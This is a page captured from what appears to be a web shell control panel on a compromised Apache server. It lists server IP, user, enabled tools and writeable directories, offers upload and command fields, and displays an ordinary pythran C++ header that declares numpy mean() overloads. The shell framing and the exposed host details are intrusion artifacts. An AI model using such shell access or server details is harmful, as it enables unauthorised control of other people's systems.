403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/pythonic/include/numpy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/pythonic/include/numpy//mean.hpp
#ifndef PYTHONIC_INCLUDE_NUMPY_MEAN_HPP
#define PYTHONIC_INCLUDE_NUMPY_MEAN_HPP

#include "pythonic/include/numpy/sum.hpp"
#include "pythonic/include/numpy/expand_dims.hpp"
#include "pythonic/include/builtins/None.hpp"
#include "pythonic/include/types/immediate.hpp"

PYTHONIC_NS_BEGIN

namespace numpy
{
  namespace details
  {
    template <size_t N>
    struct make_scalar_pshape
        : sutils::concat<types::pshape<std::integral_constant<long, 1>>,
                         typename make_scalar_pshape<N - 1>::type> {
    };

    template <>
    struct make_scalar_pshape<1> {
      using type = types::pshape<std::integral_constant<long, 1>>;
    };

    template <class dtype>
    struct dtype_or_double_helper {
      using type = typename dtype::type;
    };
    template <>
    struct dtype_or_double_helper<types::none_type> {
      using type = double;
    };
    template <class dtype>
    using dtype_or_double = typename dtype_or_double_helper<dtype>::type;
  }

  template <class E, class dtype = types::none_type>
  auto mean(E const &expr, types::none_type axis = {}, dtype d = {},
            types::none_type out = {}, types::false_immediate keep_dims = {})
      -> decltype(sum(expr, axis, d) /
                  details::dtype_or_double<dtype>(expr.flat_size()));

  template <class E, class dtype = types::none_type>
  auto mean(E const &expr, long axis, dtype d = {}, types::none_type out = {},
            types::false_immediate keep_dims = {})
      -> decltype(sum(expr, axis, d));

  template <class E, class dtype>
  types::ndarray<details::dtype_or_double<dtype>,
                 typename details::make_scalar_pshape<E::value>::type>
  mean(E const &expr, types::none_type axis, dtype d, types::none_type out,
       types::true_immediate keep_dims);

  template <class E, class dtype>
  auto mean(E const &expr, long axis, dtype d, types::none_type out,
            types::true_immediate keep_dims)
      -> decltype(expand_dims(mean(expr, axis, d), axis));

  DEFINE_FUNCTOR(pythonic::numpy, mean);
}
PYTHONIC_NS_END

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit